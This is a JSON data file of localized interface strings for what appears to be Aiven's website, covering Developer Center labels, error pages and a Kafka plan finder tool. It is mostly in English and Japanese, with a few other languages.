{"_createdAt":"2023-03-29T14:28:29Z","_id":"98c1e480-4a01-4a3d-8d99-34909c158b2a","_rev":"iIDWKhYkmLI2REfIiL6VCt","_type":"field","_updatedAt":"2023-03-29T14:28:29Z","name":"searchPlaceholder","value":{"_type":"localeString","en":"Search Developer Center"}} {"_createdAt":"2023-03-29T14:33:03Z","_id":"65118e08-541c-4801-88b6-88244333281f","_rev":"iIDWKhYkmLI2REfIiL7dyo","_type":"field","_updatedAt":"2023-03-29T14:33:03Z","name":"mainHeroSubtitle","value":{"_type":"localeString","en":"Unleash your development potential with our comprehensive guide to the latest tools and resources in open source technology"}} {"_createdAt":"2023-03-29T14:36:08Z","_id":"67c23276-2d22-4e83-8a99-fe849ab67bcc","_rev":"M4dczs5irsEQMrhVZiMWfK","_type":"field","_updatedAt":"2023-03-29T14:36:08Z","name":"featured","value":{"_type":"localeString","en":"Featured"}} {"_createdAt":"2023-01-05T08:51:59Z","_id":"632c6357-eb2a-480f-be3a-e790644ab51f","_rev":"DbggwV6E2LNVsJXxzD49Rl","_type":"field","_updatedAt":"2023-01-05T08:51:59Z","name":"event","value":{"_type":"localeString","en":"Event"}} {"_createdAt":"2023-01-05T08:52:15Z","_id":"b90679f5-f331-47df-927e-27c8de8b3609","_rev":"DbggwV6E2LNVsJXxzD4DuX","_type":"field","_updatedAt":"2023-01-05T08:52:15Z","name":"meetup","value":{"_type":"localeString","en":"Meet up"}} {"_createdAt":"2023-01-05T08:53:21Z","_id":"39e0c14c-3534-49a4-8a9e-6c8eef40e118","_rev":"kOCMbKnaOAjdRaibv3ZJqG","_type":"field","_updatedAt":"2023-01-05T08:53:21Z","name":"conference","value":{"_type":"localeString","en":"Conference"}} {"_createdAt":"2023-07-10T11:08:24Z","_id":"0f64c8dd-e1c5-4c2e-ab9f-3348950cd994","_rev":"lIJH2XrFwRt4uP1xSTZsIe","_type":"field","_updatedAt":"2023-07-10T11:08:24Z","name":"productUsed","value":{"_type":"localeString","en":"Product"}} {"_createdAt":"2022-11-09T08:52:08Z","_id":"491c4302-7524-4d8c-bdcf-d9c9b683150e","_rev":"0rD6Phxg3duzic15oFZgwK","_type":"field","_updatedAt":"2022-12-03T19:07:16Z","name":"kafkaLine2","value":{"_type":"localeString","en":"platform","ja":"ストリーミングプラットフォーム"}} {"_createdAt":"2023-01-23T14:18:39Z","_id":"c259fbcd-5651-4a1d-94cc-8d3ce2d64364","_rev":"TE2o7iA1WIUKtaPRdZDmQ3","_type":"field","_updatedAt":"2023-01-23T14:18:39Z","name":"tweet","value":{"_type":"localeString","en":"Tweet"}} {"_createdAt":"2023-01-23T14:18:53Z","_id":"6633f77e-9c53-4f44-942e-5dba39213b85","_rev":"xxq72TYoCux1QbSId4O1n5","_type":"field","_updatedAt":"2023-01-23T14:18:53Z","name":"post","value":{"_type":"localeString","en":"Post"}} {"_createdAt":"2023-01-26T11:22:00Z","_id":"fb14c047-95f4-42e1-9e69-22e768706153","_rev":"6wJ6OxF1mPB2I3zefudwTb","_type":"field","_updatedAt":"2023-01-26T11:22:00Z","name":"tools","value":{"_type":"localeString","en":"Tools"}} {"__i18n_lang":"en","_createdAt":"2022-06-21T22:44:00Z","_id":"d33b358a-a6e0-4451-99e7-4f4895073337","_rev":"Gz4Wr0YcawlWH0s0v98OEr","_type":"field","_updatedAt":"2023-09-05T12:46:47Z","name":"errorSubtitle","value":{"_type":"localeString","de":"funktioniert derzeit nicht. Das tut uns leid.","en":"is currently unavailable. Please try refreshing the page later.","es":"no funciona actualmente. Lo siento.","fr":"ne fonctionne pas actuellement. Je suis désolé.","ja":"は現在動作していません。申し訳ありません。","ko":"현재 작동하지 않습니다. 죄송합니다.","pt":"não está actualmente a funcionar. Lamento imenso."}} {"_createdAt":"2023-03-22T10:26:41Z","_id":"15a9828f-5d84-459d-a37c-e7768e5bd1fc","_rev":"1oHBwgBQDb4TFd5EY8h9lt","_type":"field","_updatedAt":"2023-03-22T10:26:41Z","name":"analyze","value":{"_type":"localeString","en":"Analyze","ja":"分析"}} {"_createdAt":"2022-09-05T09:22:41Z","_id":"41704ffa-a08b-490f-90b0-b00bf93ffb95","_rev":"HOg1ic6qdNWBF4MCQEs8Zd","_type":"field","_updatedAt":"2022-10-25T10:34:46Z","name":"productsUsed","value":{"_type":"localeString","en":"Product"}} {"_createdAt":"2022-09-05T09:22:56Z","_id":"3bac45f3-dcd4-44ad-a998-54962ec51f10","_rev":"lOSyoOIcJDD2j6NczHsV0D","_type":"field","_updatedAt":"2022-10-25T10:15:19Z","name":"hostedOn","value":{"_type":"localeString","en":"Cloud"}} {"_createdAt":"2022-11-09T08:51:51Z","_id":"e490f658-0e38-4b71-a1f0-86f67132ab79","_rev":"0rD6Phxg3duzic15oFZghQ","_type":"field","_updatedAt":"2022-12-03T19:07:02Z","name":"kafkaLine1","value":{"_type":"localeString","en":"Real-time data streaming","ja":"リアルタイムデータ"}} {"_createdAt":"2022-11-09T11:36:34Z","_id":"187ae2fc-417e-4635-b625-069b338371a9","_rev":"3re4XGUaXqpLG8nUTrBNTM","_type":"field","_updatedAt":"2022-12-19T13:47:00Z","name":"plugins","value":{"_type":"localeString","en":"Plugins","ja":"プラグイン"}} {"_createdAt":"2022-11-09T08:53:20Z","_id":"ae0909e7-8ffc-4a7d-a11a-5d96a26999c4","_rev":"BgX4ZkoG52SPdBmuThD3TY","_type":"field","_updatedAt":"2022-12-03T19:09:02Z","name":"opensearchLine1","value":{"_type":"localeString","en":"In-memory NoSQL","ja":"インメモリNoSQLデータベース"}} {"_createdAt":"2022-11-09T11:39:44Z","_id":"3b51a2dd-7b4c-42bb-ab3f-ee6b2afb558e","_rev":"aJQte7Rd1SiavAM6QwuupG","_type":"field","_updatedAt":"2022-12-19T13:15:22Z","name":"replica","value":{"_type":"localeString","en":"Read replica","ja":"レプリカの読み取り"}} {"_createdAt":"2022-11-09T11:37:44Z","_id":"45d56bb9-dbd8-493a-944f-78194dfead85","_rev":"aJQte7Rd1SiavAM6QxBtLF","_type":"field","_updatedAt":"2022-12-19T13:46:25Z","name":"logsAivenLine2","value":{"_type":"localeString","en":"Aiven services","ja":"ログ管理"}} {"_createdAt":"2022-11-09T08:55:09Z","_id":"fcae0b4a-2cd0-4a98-ad98-a226893010ab","_rev":"K0rtrsNuqDEgCtVQHTo2xA","_type":"field","_updatedAt":"2022-12-19T12:33:07Z","name":"metricsAivenLine1","value":{"_type":"localeString","en":"Metrics from","ja":"Aivenのサービス"}} {"_createdAt":"2022-11-10T09:13:12Z","_id":"bcd8d677-44a3-4ccc-80e1-172c26d35424","_rev":"AgVn9c2bYty4stE1Rdaa6u","_type":"field","_updatedAt":"2022-11-14T09:49:33Z","name":"Japanese","value":{"_type":"localeString","en":"Japanese","ja":"日本語"}} {"_createdAt":"2022-11-09T08:52:58Z","_id":"69c4d3b0-185b-41d3-bede-e9dc2fe4c42e","_rev":"ElrRHx5al3kb1PwLXRbty8","_type":"field","_updatedAt":"2022-12-03T18:46:15Z","name":"metrics","value":{"_type":"localeString","en":"Metrics","ja":"指標"}} {"_createdAt":"2022-11-09T11:32:38Z","_id":"03df3c11-af06-4065-8e94-4e113b8cf3c1","_rev":"0rD6Phxg3duzic15oFaAlv","_type":"field","_updatedAt":"2022-12-03T19:28:22Z","name":"clickhouseLine2","value":{"_type":"localeString","en":"streaming data","ja":"データウェアハウス"}} {"_createdAt":"2022-11-09T11:31:47Z","_id":"b72acdfc-3d73-4f73-850b-345040993e31","_rev":"fuFsKkOoAJwNVpPrIJs85a","_type":"field","_updatedAt":"2022-12-07T12:50:04Z","name":"flinkLine1","value":{"_type":"localeString","en":"Streaming SQL engine for stateful","ja":"のためのストリーミングSQLエンジン"}} {"_createdAt":"2023-03-17T13:46:23Z","_id":"182acdf8-07cf-4def-9b47-d46917e589df","_rev":"RksXZeZKLvjmDTh00zUULW","_type":"field","_updatedAt":"2023-03-17T13:46:23Z","name":"totalStorage","value":{"_type":"localeString","en":"Total storage","ja":"ストレージの合計"}} {"_createdAt":"2023-03-17T13:46:45Z","_id":"f5d94af4-3773-4697-a9ff-b774021521a5","_rev":"RksXZeZKLvjmDTh00zVxgV","_type":"field","_updatedAt":"2023-03-17T13:46:45Z","name":"hourlyPrice","value":{"_type":"localeString","en":"Hourly price","ja":"時間単価"}} {"_createdAt":"2023-03-17T13:21:04Z","_id":"5231f97e-d589-40c7-898f-5cc6d77e6daf","_rev":"RksXZeZKLvjmDTh00zIsc4","_type":"field","_updatedAt":"2023-03-17T13:21:04Z","name":"contactLinkText","value":{"_type":"localeString","en":"Contact us","ja":"お問合せ"}} {"_createdAt":"2023-03-17T13:21:44Z","_id":"908db368-6d72-43ab-b7c4-2b3ded081634","_rev":"RksXZeZKLvjmDTh00zJ3ri","_type":"field","_updatedAt":"2023-03-17T13:21:44Z","name":"cloud","value":{"_type":"localeString","en":"Cloud","ja":"クラウド"}} {"_createdAt":"2023-03-17T13:21:25Z","_id":"0289b1e6-9e3a-4c51-8343-9fa3b0cb6718","_rev":"RksXZeZKLvjmDTh00zIyej","_type":"field","_updatedAt":"2023-03-17T13:21:25Z","name":"service","value":{"_type":"localeString","en":"Service","ja":"サービス"}} {"_createdAt":"2023-03-17T13:22:06Z","_id":"62027987-090a-4131-8a06-729d6bbed016","_rev":"RksXZeZKLvjmDTh00zJ7cG","_type":"field","_updatedAt":"2023-03-17T13:22:06Z","name":"region","value":{"_type":"localeString","en":"Region","ja":"リージョン"}} {"_createdAt":"2023-03-17T13:43:35Z","_id":"dfe9623b-7a86-4a63-b161-407b23988d82","_rev":"RksXZeZKLvjmDTh00zOOle","_type":"field","_updatedAt":"2023-03-17T13:43:35Z","name":"month","value":{"_type":"localeString","en":"month","ja":"月"}} {"_createdAt":"2023-03-17T13:45:59Z","_id":"b6d30fdc-49a4-42d9-a5c0-93058b6ce5b3","_rev":"RksXZeZKLvjmDTh00zSqaZ","_type":"field","_updatedAt":"2023-03-17T13:45:59Z","name":"shards","value":{"_type":"localeString","en":"Shards","ja":"シャード"}} {"_createdAt":"2023-03-17T13:44:55Z","_id":"f4dced79-2e8c-4472-b8b8-a259a5a1401c","_rev":"RksXZeZKLvjmDTh00zOmwI","_type":"field","_updatedAt":"2023-03-17T13:44:55Z","name":"dedicatedVMs","value":{"_type":"localeString","en":"Dedicated VMs","ja":"専用仮想マシン"}} {"_createdAt":"2023-03-17T13:45:17Z","_id":"f5b11ed5-0b16-4584-85a5-e4b0e16a6a07","_rev":"RksXZeZKLvjmDTh00zPoDT","_type":"field","_updatedAt":"2023-03-17T13:45:17Z","name":"cpuPerVM","value":{"_type":"localeString","en":"CPU per VM","ja":"仮想マシンあたりのCPU"}} {"_createdAt":"2023-03-17T13:45:38Z","_id":"c8bb1f91-7cd4-4ee9-af39-9e7ea4bba615","_rev":"RksXZeZKLvjmDTh00zRF3Q","_type":"field","_updatedAt":"2023-03-17T13:45:38Z","name":"ramPerVM","value":{"_type":"localeString","en":"RAM per VM","ja":"仮想マシンあたりのRAM"}} {"_createdAt":"2022-12-02T15:26:17Z","_id":"3f6cfa56-591f-4a0f-ad72-1763f361493b","_rev":"cwf6PSmkIH3MXtFHzAYEmS","_type":"field","_updatedAt":"2022-12-10T22:19:42Z","name":"kafkaConnectLine2","value":{"_type":"localeString","en":"sink connectors","fr":"d'évier existants","ja":"シンクコネクタ"}} {"_createdAt":"2022-11-09T11:32:24Z","_id":"eb5febf6-4b78-4285-93a9-a62641aa959e","_rev":"BgX4ZkoG52SPdBmuThHI3k","_type":"field","_updatedAt":"2022-12-03T19:28:10Z","name":"clickhouseLine1","value":{"_type":"localeString","en":"Data warehouse for","ja":"ストリーミングデータ用"}} {"_createdAt":"2022-12-02T15:25:49Z","_id":"c6f4e6f3-06b7-4587-bcf6-e72f728e8d74","_rev":"Bp455s9rtQ49wRO6vffdgN","_type":"field","_updatedAt":"2022-12-10T22:18:21Z","name":"kafkaConnectLine1","value":{"_type":"localeString","en":"Integrate existing","fr":"Intégrer les connecteurs","ja":"既存のものを統合する"}} {"_createdAt":"2023-03-17T13:19:59Z","_id":"7b794962-5db2-4511-8c7e-72d45f384ab4","_rev":"dbnYPrvSKGV9AwPMwKiTMk","_type":"field","_updatedAt":"2023-03-24T08:56:20Z","name":"kpfLinkText","value":{"_type":"localeString","en":"Kafka plan finder tool","ja":"Kafkaプラン検索ツール"}} {"_createdAt":"2023-03-17T13:47:04Z","_id":"807d27f0-b41b-4022-bb00-80d6eef4ceec","_rev":"xiZWRCvY8mGrbEYNJjVoRd","_type":"field","_updatedAt":"2023-03-24T09:04:41Z","name":"estMonthlyPrice","value":{"_type":"localeString","en":"Est. monthly price","ja":"推定月額料金"}} {"_createdAt":"2023-03-17T13:44:35Z","_id":"c12ba409-8962-4999-a8f4-0908e2d73e07","_rev":"M4dczs5irsEQMrhVZi6xwv","_type":"field","_updatedAt":"2023-03-29T11:08:44Z","name":"planTier","value":{"_type":"localeString","en":"Plan","ja":"プラン階層"}} {"_createdAt":"2023-04-05T14:18:50Z","_id":"3e2d308a-5c86-4c0a-815f-8e2cf60b5b4b","_rev":"hBC7D1PZ9KvZlgAOkWZ3m0","_type":"field","_updatedAt":"2023-04-05T14:18:50Z","name":"tool","value":{"_type":"localeString","en":"Tool"}} {"_createdAt":"2023-05-22T13:28:50Z","_id":"644804a9-77ba-436c-af74-39a9a66f9274","_rev":"4JMA3H9bBgAwAcyypV6TUN","_type":"field","_updatedAt":"2023-05-22T13:28:50Z","name":"features","value":{"_type":"localeString","en":"Features","ja":"顔立ち"}} {"_createdAt":"2023-05-22T13:41:57Z","_id":"a5d996be-74e9-4f76-85ff-fd8d0985202f","_rev":"4JMA3H9bBgAwAcyypV8pzr","_type":"field","_updatedAt":"2023-05-22T13:41:57Z","name":"errorIncomingDataVolumeMbps","value":{"_type":"localeString","en":"Value has to be a number greater than or equal to 0.001","ja":"値は0.001以上の数値である必要があります。"}} {"_createdAt":"2023-05-22T13:44:09Z","_id":"e485c928-7a1e-4691-a599-c16037e07d84","_rev":"4JMA3H9bBgAwAcyypV9GbP","_type":"field","_updatedAt":"2023-05-22T13:44:09Z","name":"errorAverageMessageSizeKb","value":{"_type":"localeString","en":"Value has to be an integer greater than or equal to 1","ja":"値は1以上の整数である必要があります。"}} {"_createdAt":"2023-05-22T13:44:41Z","_id":"f6ab972f-f1ce-491f-9ac3-91bf455216a4","_rev":"Sutmd0597BicUlBXYKwNs8","_type":"field","_updatedAt":"2023-05-22T13:44:41Z","name":"errorMessagesPerSecond","value":{"_type":"localeString","en":"Value has to be a number greater than or equal to 1","ja":"値は1以上の数値である必要があります。"}} {"_createdAt":"2023-05-22T13:46:04Z","_id":"707ffef1-8818-4e58-8608-9b3f78540244","_rev":"4JMA3H9bBgAwAcyypVADeR","_type":"field","_updatedAt":"2023-05-22T13:46:04Z","name":"errorRetention","value":{"_type":"localeString","en":"Value has to be an integer greater than or equal to 1","ja":"値は1以上の整数である必要があります。"}} {"_createdAt":"2023-05-22T13:46:49Z","_id":"cc006a9a-3b7e-499b-9817-4fc1cf8d1c3a","_rev":"4JMA3H9bBgAwAcyypVAleR","_type":"field","_updatedAt":"2023-05-22T13:46:49Z","name":"errorReplicationFactor","value":{"_type":"localeString","en":"Value has to be an integer between 1 and 10","ja":"値は1~10までの整数である必要があります。"}} {"_createdAt":"2023-05-12T07:06:22Z","_id":"b079ef22-dce2-4465-a82b-3b62b2ffc2b3","_rev":"ZguNxh1j7N84eEhLyZQPSM","_type":"field","_updatedAt":"2023-05-12T07:06:22Z","name":"online","value":{"_type":"localeString","en":"Online"}} {"_createdAt":"2023-04-03T11:50:03Z","_id":"7cbdc771-64b8-4167-8d23-3523958c02f3","_rev":"Fl2c73WgS9jO0pBHihqc5L","_type":"field","_updatedAt":"2023-04-03T12:10:58Z","name":"devCenter","value":{"_type":"localeString","en":"Developer Center"}} {"_createdAt":"2023-05-25T14:15:35Z","_id":"bfc8854a-248f-4ad8-8ae5-87d5b8ccf9f4","_rev":"hmQk1VtzwG7nr025669vgy","_type":"field","_updatedAt":"2023-06-02T08:24:26Z","name":"integrations","value":{"_type":"localeString","en":"Third-party integrations","ja":"サードパーティとの統合"}} {"_createdAt":"2023-05-25T14:15:55Z","_id":"13feb3e1-5bd5-4283-a892-a0f10d239617","_rev":"PafZ7If3abxFAfZNOXvqQH","_type":"field","_updatedAt":"2023-05-29T07:14:13Z","name":"compliance","value":{"_type":"localeString","en":"Compliance","ja":"コンプライアンス"}} {"_createdAt":"2023-05-22T09:28:55Z","_id":"22a37708-cc37-447f-a8fb-3082e2a5351c","_rev":"IpnbDuG6FYGmZQ2TBMtdSt","_type":"field","_updatedAt":"2023-05-22T09:28:55Z","name":"plan","value":{"_type":"localeString","en":"Plan","ja":"プラン"}} {"_createdAt":"2023-05-22T09:18:14Z","_id":"feaceff9-269b-45c1-8ae0-c580bf76c829","_rev":"Sutmd0597BicUlBXYJjQqQ","_type":"field","_updatedAt":"2023-05-22T09:18:14Z","name":"retention","value":{"_type":"localeString","en":"Retention","ja":"リテンション"}} {"_createdAt":"2023-05-22T09:18:48Z","_id":"fef99f64-2640-4ba2-8d2b-ae44a3accfda","_rev":"4JMA3H9bBgAwAcyypU0Hfj","_type":"field","_updatedAt":"2023-05-22T09:18:48Z","name":"unitOfTime","value":{"_type":"localeString","en":"Unit of time","ja":"時間の単位"}} {"_createdAt":"2023-05-19T15:41:09Z","_id":"ca045395-8478-40f9-a3b8-311df37e9081","_rev":"sAN5HewJ5zbBBAB9Ojxu0I","_type":"field","_updatedAt":"2023-05-23T11:12:21Z","name":"kpfHeroTitle","value":{"_type":"localeString","en":"Find an Aiven for Apache Kafka® plan that fits you","ja":"お客様に合ったAiven for Apache Kafka®️のプランを探す"}} {"_createdAt":"2023-05-22T08:31:07Z","_id":"ce1f2fe3-aeb7-487e-be27-586b87c5a0e6","_rev":"4JMA3H9bBgAwAcyypTpWgx","_type":"field","_updatedAt":"2023-05-22T08:31:07Z","name":"kpfHeroSubtitle","value":{"_type":"localeString","en":"Enter your data requirements, and we'll find the Aiven for Apache Kafka® plan that best meets your needs.","ja":"お客様のデータ要件を入力すると、お客様のニーズに最適なAiven for Apache Kafka®のプランをご案内します。"}} {"_createdAt":"2023-05-22T08:33:08Z","_id":"722ceaac-3071-4c64-b833-52a21048a667","_rev":"IpnbDuG6FYGmZQ2TBMidfv","_type":"field","_updatedAt":"2023-05-22T08:33:08Z","name":"planComparison","value":{"_type":"localeString","en":"Plan comparison","ja":"プランの比較"}} {"_createdAt":"2023-05-22T08:34:06Z","_id":"cad09e6e-f8a4-41b8-abd2-66aa7b03e3c8","_rev":"IpnbDuG6FYGmZQ2TBMil2h","_type":"field","_updatedAt":"2023-05-22T08:34:06Z","name":"kpfCalcTitle","value":{"_type":"localeString","en":"Your data needs","ja":"お客様のデータのニーズ"}} {"_createdAt":"2023-05-22T08:35:00Z","_id":"b5d16611-2c45-467a-ae2d-d30ec430d603","_rev":"Sutmd0597BicUlBXYJYtsg","_type":"field","_updatedAt":"2023-05-22T08:35:00Z","name":"messagesPerSecond","value":{"_type":"localeString","en":"Messages/Sec","ja":"メッセージ数/秒"}} {"_createdAt":"2023-05-22T09:19:52Z","_id":"2ccb65ab-5aa9-4553-a395-10673724a495","_rev":"4JMA3H9bBgAwAcyypU0fh9","_type":"field","_updatedAt":"2023-05-22T09:19:52Z","name":"replicationFactor","value":{"_type":"localeString","en":"Replication factor","ja":"レプリケーションファクタ"}} {"_createdAt":"2023-05-22T09:21:10Z","_id":"54049a68-c38f-4b54-a8d9-477bbdd94754","_rev":"sAN5HewJ5zbBBAB9OjyG7d","_type":"field","_updatedAt":"2023-05-23T11:14:08Z","name":"kpfResultTitle","value":{"_type":"localeString","en":"Based on your input, we suggest the following plans","ja":"お客様の情報に基づいて、次のプランをご提案します"}} {"_createdAt":"2023-05-22T09:03:40Z","_id":"b283ed81-9c30-4cb6-af06-8a6a3c6d871c","_rev":"Sutmd0597BicUlBXYJggMa","_type":"field","_updatedAt":"2023-05-22T09:03:40Z","name":"averageMessageSize","value":{"_type":"localeString","en":"Average message size (KB)","ja":"平均メッセージサイズ (KB)"}} {"_createdAt":"2023-05-22T09:16:32Z","_id":"b8db5e49-2ff0-4019-abde-2f33b4d96637","_rev":"4JMA3H9bBgAwAcyypTzrsd","_type":"field","_updatedAt":"2023-05-22T09:16:32Z","name":"kpfCalcTitleStep2","value":{"_type":"localeString","en":"Retention \u0026 Replication","ja":"リテンションとレプリケーション"}} {"_createdAt":"2023-05-22T09:30:18Z","_id":"dcd5781f-3973-4cce-9740-de146623a61b","_rev":"4JMA3H9bBgAwAcyypU2oa7","_type":"field","_updatedAt":"2023-05-22T09:30:18Z","name":"extraStorage","value":{"_type":"localeString","en":"Extra storage","ja":"追加ストレージ"}} {"_createdAt":"2023-05-22T09:31:05Z","_id":"faf0a8de-4f0c-4c72-885a-ecc87c3c018c","_rev":"IpnbDuG6FYGmZQ2TBMu8Ox","_type":"field","_updatedAt":"2023-05-22T09:31:05Z","name":"custom","value":{"_type":"localeString","en":"Custom","ja":"カスタム"}} {"_createdAt":"2023-06-05T11:54:20Z","_id":"fdd4064b-bc0b-4a2d-a794-5059fbbea13d","_rev":"hmQk1VtzwG7nr0256MLxW8","_type":"field","_updatedAt":"2023-06-05T11:54:20Z","name":"learnMore","value":{"_type":"localeString","en":"Learn more"}} {"_createdAt":"2023-06-05T12:00:43Z","_id":"1c750956-6e18-475a-8ab6-8e6f828864ef","_rev":"hmQk1VtzwG7nr0256MQjHv","_type":"field","_updatedAt":"2023-06-05T12:00:43Z","name":"type","value":{"_type":"localeString","en":"Type"}} {"_createdAt":"2023-06-01T10:45:33Z","_id":"06035b82-965c-4bf7-9bdb-324201e9bd25","_rev":"wZSzbSM833LJeYC8qT41hb","_type":"field","_updatedAt":"2023-06-05T12:35:35Z","name":"resources","value":{"_type":"localeString","en":"Resources"}} {"_createdAt":"2023-06-05T12:08:05Z","_id":"ad9c8d8e-df5b-4193-ac99-7593b069d332","_rev":"M617xJhRgo1DdvUCiYwi5u","_type":"field","_updatedAt":"2023-06-05T12:08:05Z","name":"ctaReadBlog","value":{"_type":"localeString","en":"Read the blog post"}} {"_createdAt":"2023-05-12T09:16:54Z","_id":"f2ff4a30-4901-48cf-b5a3-9a62f9fe0e5e","_rev":"4JMA3H9bBgAwAcyypUsFrL","_type":"field","_updatedAt":"2023-05-22T12:33:54Z","name":"ctaRelevantPlans","value":{"_type":"localeString","en":"See only relevant plans","ja":"関連するプランのみを表示"}} {"__i18n_lang":"en","_createdAt":"2022-06-21T22:43:32Z","_id":"da7eff78-6128-4c01-945d-2199dfd9af35","_rev":"nhj4h0WlhYHZ2WujrlP74A","_type":"field","_updatedAt":"2023-04-19T07:44:06Z","name":"errorFourOhFourSubtitle","value":{"_type":"localeString","de":"Wir konnten die von Ihnen gesuchte Seite nicht finden.","en":"Perhaps the [home page](/) can help? Or you can explore our [developer center](/developer) or [blog](/blog).","es":"No hemos podido encontrar la página que busca.","fr":"Nous n'avons pas réussi à trouver la page que vous recherchez.","ja":"もしかしたら、[ホームページ](/ja)がお役に立てるかもしれません。また、[価格体系](/ja/pricing)。","ko":"찾고 있는 페이지를 찾지 못한 것 같습니다.","pt":"Parece que não conseguimos encontrar a página que procura."}} {"__i18n_lang":"en","_createdAt":"2022-06-21T22:43:18Z","_id":"3e5917fe-0176-4396-a3e8-d374c0a3a1a5","_rev":"TwTp4wRlf70ArGbY1vcPda","_type":"field","_updatedAt":"2023-04-19T07:44:16Z","name":"errorFourOhFourTitle","value":{"_type":"localeString","de":"Huch!","en":"Page not found","es":"¡Uy!","fr":"Oups !","ja":"ページが見つかりません","ko":"앗!","pt":"Oops!"}} {"_createdAt":"2023-06-08T12:31:25Z","_id":"5f350b21-734b-4329-8fde-8accb85dd694","_rev":"rV9BZDYEBgQp95tIyc24KB","_type":"field","_updatedAt":"2023-06-08T12:31:25Z","name":"tableOfContents","value":{"_type":"localeString","en":"Table of contents"}} {"_createdAt":"2023-06-08T12:45:39Z","_id":"bd33c233-10a0-4a07-86f6-128d06ceb963","_rev":"OSa4Of7leLeKOMRysreGsy","_type":"field","_updatedAt":"2023-06-08T12:45:39Z","name":"blog","value":{"_type":"localeString","en":"Blog"}} {"_createdAt":"2023-04-06T14:51:41Z","_id":"7f37d851-c3ed-48af-90f9-18ba397f18f9","_rev":"2DKMiOi4Ekqsoc9oUQRG19","_type":"field","_updatedAt":"2023-07-13T09:27:11Z","name":"byoaTitle","value":{"_type":"localeString","en":"Bring Your Own Cloud (BYOC) available for larger setups","ja":"大規模なセットアップには、BYOC(Bring Your Own Cloud)を利用可能"}} {"_createdAt":"2022-10-05T08:54:08Z","_id":"5e67405d-c1fa-4510-8199-db3f4c2117d0","_rev":"hmQk1VtzwG7nr025669qdZ","_type":"field","_updatedAt":"2023-06-02T08:24:02Z","name":"cloudProviders","value":{"_type":"localeString","en":"Deploy","ja":"デプロイ先"}} {"_createdAt":"2023-06-01T10:45:19Z","_id":"56b202dd-e0d9-4fef-9e99-2d134e9ceeea","_rev":"Bg5HPBiLdZofLBzDF0jzzI","_type":"field","_updatedAt":"2023-06-01T11:11:25Z","name":"csHeroTitle","value":{"_type":"localeString","en":"Explore Aiven's customer stories, insightful videos, and beyond"}} {"_createdAt":"2023-05-22T08:39:18Z","_id":"13bc670b-5098-47cc-be8e-5f457b9602b2","_rev":"4JMA3H9bBgAwAcyypUUKUR","_type":"field","_updatedAt":"2023-05-22T11:03:42Z","name":"kpfMessagesPerSecondDesc","value":{"_type":"localeString","en":"This is an estimate of the number of messages you are producing\nto your Kafka cluster every second. If you are not yet using Kafka,\nthis can be estimated by using your system monitoring tools to determine\nthe number of events occurring every second. For example, you may be\nreceiving 300 API calls per second as well as 10 batch jobs that run\nevery 10 minutes; this gives you an idea of the messages produced\nevery second when you take Kafka into use.","ja":"これは、お客様が毎秒Kafkaクラスタに生成している\nメッセージの数の推定値です。Kafkaをまだ使用していない場合は、\nシステム監視ツールを使用して、\n毎秒発生するイベントの数から推定できます。例えば、1秒間に\n300回のAPIコールと、10分間に10回のバッチジョブを\n受信しているとしたら、それがKafkaを使用した場合に\n毎秒生成されるメッセージの概算となります。"}} {"_createdAt":"2023-05-25T14:16:17Z","_id":"4a73d65a-149c-4391-9252-fd548771e12d","_rev":"PafZ7If3abxFAfZNOXvh1t","_type":"field","_updatedAt":"2023-05-29T07:13:21Z","name":"identity","value":{"_type":"localeString","en":"Identity management","ja":"ID管理"}} {"_createdAt":"2023-05-25T14:17:14Z","_id":"38ab540e-930d-4fed-85b3-006d54029128","_rev":"PafZ7If3abxFAfZNOXvf9n","_type":"field","_updatedAt":"2023-05-29T07:13:11Z","name":"securityNetwork","value":{"_type":"localeString","en":"Security \u0026 Network","ja":"セキュリティとネットワーク"}} {"_createdAt":"2023-05-25T14:16:39Z","_id":"757d83a1-5a2a-4127-a020-d70d18777891","_rev":"PafZ7If3abxFAfZNOXvjEv","_type":"field","_updatedAt":"2023-05-29T07:13:34Z","name":"managed","value":{"_type":"localeString","en":"Managed","ja":"マネージドサービス"}} {"_createdAt":"2023-05-22T09:05:31Z","_id":"1b307256-5edd-4cdf-b4ca-a41b46a113fe","_rev":"IpnbDuG6FYGmZQ2TBNa0n5","_type":"field","_updatedAt":"2023-05-22T12:08:05Z","name":"incomingDataVolume","value":{"_type":"localeString","en":"Incoming data volume","ja":"受信データ量 "}} {"_createdAt":"2023-10-17T07:29:14Z","_id":"69e251ce-e453-4bd3-b63c-f370a8049c99","_rev":"eymHymupXZZZ08HQS5KLDH","_type":"field","_updatedAt":"2023-10-17T07:29:14Z","name":"watchVideo","value":{"_type":"localeString","en":"Watch video"}} {"_createdAt":"2023-09-27T09:20:52Z","_id":"5859b472-6010-4359-b4aa-aff2d0a40c9f","_rev":"rpwBSMa1i11HwZnbWsszMz","_type":"field","_updatedAt":"2023-09-27T09:20:52Z","name":"ctaForum","value":{"_type":"localeString","en":"Join the community"}} {"_createdAt":"2023-10-11T07:55:59Z","_id":"b5f2b1a2-b772-4bac-b060-73c6fca68bd9","_rev":"2kdHlkdSUBBOABFqNNNhBv","_type":"field","_updatedAt":"2023-10-11T07:55:59Z","name":"workshop","value":{"_type":"localeString","en":"Workshop"}} {"_createdAt":"2023-10-26T08:10:31Z","_id":"2b71713b-0f52-4363-abce-1d92b3df7388","_rev":"tLcgKZL18qfyYELSyhzBxe","_type":"field","_updatedAt":"2023-10-26T08:10:31Z","name":"EngineerBannerTitle","value":{"_type":"localeString","en":"Experience Aiven Platform firsthand"}} {"_createdAt":"2023-10-26T08:11:16Z","_id":"f9187281-56c4-4f3c-8fa8-333baa6ad66c","_rev":"dWOXoeBNhMRLotF8JYyR1b","_type":"field","_updatedAt":"2023-10-26T08:11:16Z","name":"EngineerBannerCTATitle","value":{"_type":"localeString","en":"Get started with Aiven Platform"}} {"_createdAt":"2023-11-01T10:06:08Z","_id":"2be28729-4def-449a-baf7-32075c1d1a3c","_rev":"gpV4rQ1RP6Oi5x5QrKug4h","_type":"field","_updatedAt":"2023-11-01T10:06:08Z","name":"email","value":{"_type":"localeString","en":"Email"}} {"_createdAt":"2023-10-17T07:28:27Z","_id":"c3ab2505-a645-4287-b6ed-9c21da6bd5ad","_rev":"YchETsjFZqXXcMnazKGyi0","_type":"field","_updatedAt":"2023-10-17T07:28:27Z","name":"downloadEbook","value":{"_type":"localeString","en":"Download e-book"}} 